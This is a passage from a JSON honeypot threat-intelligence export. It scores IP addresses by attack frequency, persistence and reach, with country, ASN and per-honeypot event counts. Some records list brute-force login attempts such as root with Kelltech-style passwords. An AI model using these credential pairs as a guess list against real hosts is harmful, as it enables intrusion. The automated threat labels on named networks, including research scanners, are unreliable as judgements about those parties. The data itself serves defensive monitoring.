      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T06:19:23.770000+00:00",
        "last_seen_30d": "2026-03-10T06:22:00.159000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 8
      }
    },
    "185.180.141.12": {
      "attack_count": 13,
      "first_seen": "2026-03-21T01:27:30.460Z",
      "last_seen": "2026-03-21T01:27:52.674Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 83.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:21:48.495000+00:00",
        "last_seen_30d": "2026-03-30T10:47:29.278000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 96,
        "Honeytrap": 38,
        "Cowrie": 13,
        "H0neytr4p": 5
      }
    },
    "198.235.24.85": {
      "attack_count": 8,
      "first_seen": "2026-03-17T18:24:46.210Z",
      "last_seen": "2026-03-26T16:11:22.929Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 78.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 28,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:13:04.461000+00:00",
        "last_seen_30d": "2026-03-29T12:27:12.780000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Honeytrap": 25,
        "Cowrie": 8,
        "Dionaea": 5
      }
    },
    "159.223.196.229": {
      "attack_count": 7,
      "first_seen": "2026-03-05T00:35:29.042Z",
      "last_seen": "2026-03-05T00:39:04.680Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "binance"
      ],
      "passwords_attempted": [
        "binance"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:32:02.499000+00:00",
        "last_seen_30d": "2026-03-05T00:40:05.188000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "23.234.122.160": {
      "attack_count": 7,
      "first_seen": "2026-03-19T11:25:14.674Z",
      "last_seen": "2026-03-19T11:31:46.425Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 11878,
      "as_org": "tzulo, inc.",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T11:25:14.674000+00:00",
        "last_seen_30d": "2026-03-19T11:32:52.031000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "104.248.161.154": {
      "attack_count": 6,
      "first_seen": "2026-03-11T01:33:18.682Z",
      "last_seen": "2026-03-11T11:36:05.888Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T01:30:25.940000+00:00",
        "last_seen_30d": "2026-03-11T11:37:10.808000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 12,
        "Cowrie": 6
      }
    },
    "118.202.54.11": {
      "attack_count": 6,
      "first_seen": "2026-03-06T00:15:15.322Z",
      "last_seen": "2026-03-06T00:16:12.759Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4538,
      "as_org": "China Education and Research Network Center",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T00:15:15.322000+00:00",
        "last_seen_30d": "2026-03-06T00:17:19.651000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "178.213.140.54": {
      "attack_count": 6,
      "first_seen": "2026-03-02T12:45:28.940Z",
      "last_seen": "2026-03-18T04:43:58.768Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Ostro\u0142\u0119ka",
      "asn": 200755,
      "as_org": "Stacja-NET Marek Goclowski",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T12:45:28.940000+00:00",
        "last_seen_30d": "2026-03-25T23:43:07.768000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "206.168.34.218": {
      "attack_count": 6,
      "first_seen": "2026-03-02T11:33:31.907Z",
      "last_seen": "2026-03-02T11:34:08.591Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.1,
        "persistence": 18.3,
        "diversity": 12,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 22,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T11:33:31.907000+00:00",
        "last_seen_30d": "2026-03-23T20:25:55.364000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6,
        "Miniprint": 6,
        "Honeytrap": 4
      }
    },
    "64.62.156.212": {
      "attack_count": 6,
      "first_seen": "2026-03-15T10:56:47.836Z",
      "last_seen": "2026-03-27T11:07:14.589Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 351,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T02:39:14.195000+00:00",
        "last_seen_30d": "2026-03-31T07:44:47.363000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 227,
        "Honeytrap": 81,
        "Ciscoasa": 14,
        "H0neytr4p": 9,
        "Cowrie": 6,
        "Tanner": 5,
        "CitrixHoneypot": 4,
        "Adbhoney": 2,
        "Dionaea": 1,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "66.132.195.92": {
      "attack_count": 6,
      "first_seen": "2026-03-30T03:33:23.280Z",
      "last_seen": "2026-03-30T03:33:57.970Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T03:33:23.280000+00:00",
        "last_seen_30d": "2026-03-30T03:35:02.805000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "172.94.9.128": {
      "attack_count": 5,
      "first_seen": "2026-03-05T22:27:37.913Z",
      "last_seen": "2026-03-05T22:27:40.366Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2024Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:56:06.840000+00:00",
        "last_seen_30d": "2026-03-05T22:28:48.154000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "172.94.9.63": {
      "attack_count": 5,
      "first_seen": "2026-03-06T03:45:22.700Z",
      "last_seen": "2026-03-06T03:45:25.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2025kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:40:44.887000+00:00",
        "last_seen_30d": "2026-03-06T03:46:30.897000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "185.220.101.176": {
      "attack_count": 5,
      "first_seen": "2026-03-04T13:45:55.748Z",
      "last_seen": "2026-03-04T13:46:02.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "centos"
      ],
      "passwords_attempted": [
        "ZabTharwat@2016"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 15.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 19,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-04T13:45:55.748000+00:00",
        "last_seen_30d": "2026-03-22T20:10:17.409000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 5,
        "Ciscoasa": 2,
        "Honeytrap": 1
      }
    },
    "185.93.89.102": {
      "attack_count": 5,
      "first_seen": "2026-03-05T21:37:50.279Z",
      "last_seen": "2026-03-05T21:37:52.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "kelltech"
      ],
      "passwords_attempted": [
        "kelltech2026@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T10:28:41.987000+00:00",
        "last_seen_30d": "2026-03-05T21:38:56.197000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "47.86.170.169": {
      "attack_count": 5,
      "first_seen": "2026-03-19T23:42:17.291Z",
      "last_seen": "2026-03-19T23:42:19.597Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "yan"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T23:42:17.291000+00:00",
        "last_seen_30d": "2026-03-19T23:43:27.791000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "167.99.128.90": {
      "attack_count": 4,
      "first_seen": "2026-03-06T05:55:40.497Z",
      "last_seen": "2026-03-06T05:55:41.079Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 3.3,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 4,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T05:43:24+00:00",
        "last_seen_30d": "2026-03-06T05:56:47.188000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 65,
        "Honeytrap": 32,
        "Cowrie": 4
      }
    },
    "198.235.24.2": {
      "attack_count": 4,
      "first_seen": "2026-03-05T16:19:06.125Z",
      "last_seen": "2026-03-05T16:19:09.245Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.8,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 27,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-04T01:38:55+00:00",
        "last_seen_30d": "2026-03-30T04:10:11.065000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 25,
        "Honeytrap": 9,
        "Cowrie": 4
      }
    },
    "66.132.153.113": {
      "attack_count": 4,
      "first_seen": "2026-03-22T09:07:53.052Z",
      "last_seen": "2026-03-22T09:08:08.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 21,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T00:16:47+00:00",
        "last_seen_30d": "2026-03-22T15:04:13.254000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 36,
        "Cowrie": 4,
        "H0neytr4p": 4,
        "Sentrypeer": 1
      }
    },
    "111.39.147.81": {
      "attack_count": 2,
      "first_seen": "2026-03-24T11:28:37.732Z",
      "last_seen": "2026-03-24T11:28:51.833Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T11:28:37.732000+00:00",
        "last_seen_30d": "2026-03-24T11:30:00.738000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.20.223.26": {
      "attack_count": 2,
      "first_seen": "2026-03-16T03:28:07.448Z",
      "last_seen": "2026-03-16T03:28:21.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gumi",
      "asn": 9981,
      "as_org": "Saero Network Service LTD",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T03:28:07.448000+00:00",
        "last_seen_30d": "2026-03-16T03:29:29.304000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.101.185.26": {
      "attack_count": 2,
      "first_seen": "2026-03-03T06:07:42.978Z",
      "last_seen": "2026-03-03T06:07:57.436Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38785,
      "as_org": "PT. BORNEO BROADBAND TECHNOLOGY",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:07:42.978000+00:00",
        "last_seen_30d": "2026-03-03T06:08:58.766000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "133.88.122.35": {
      "attack_count": 2,
      "first_seen": "2026-03-19T20:02:02.781Z",
      "last_seen": "2026-03-19T20:02:33.346Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Nagoya",
      "asn": 58791,
      "as_org": "GMO Internet Group, Inc.",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-19T20:02:02.781000+00:00",
        "last_seen_30d": "2026-03-19T20:03:41.807000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "14.99.205.146": {
      "attack_count": 2,
      "first_seen": "2026-03-20T23:17:16.880Z",
      "last_seen": "2026-03-20T23:17:29.690Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Noida",
      "asn": 45820,
      "as_org": "Tata Teleservices ISP AS",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T23:17:16.880000+00:00",
        "last_seen_30d": "2026-03-20T23:18:38.332000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.107.200.171": {
      "attack_count": 2,
      "first_seen": "2026-03-16T14:40:35.419Z",
      "last_seen": "2026-03-16T14:40:47.010Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T14:40:35.419000+00:00",
        "last_seen_30d": "2026-03-16T14:41:53.465000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.216.132.31": {
      "attack_count": 2,
      "first_seen": "2026-03-20T13:17:39.046Z",
      "last_seen": "2026-03-20T13:17:51.841Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 272953,
      "as_org": "HS NETWORKS SAS",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T13:17:39.046000+00:00",
        "last_seen_30d": "2026-03-20T13:18:53.820000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.74.36.3": {
      "attack_count": 2,
      "first_seen": "2026-03-09T22:23:02.975Z",
      "last_seen": "2026-03-09T22:23:15.193Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Uiwang-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T22:23:02.975000+00:00",
        "last_seen_30d": "2026-03-09T22:24:22.942000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.112.28.136": {
      "attack_count": 2,
      "first_seen": "2026-03-28T16:26:14.102Z",
      "last_seen": "2026-03-28T16:26:26.527Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
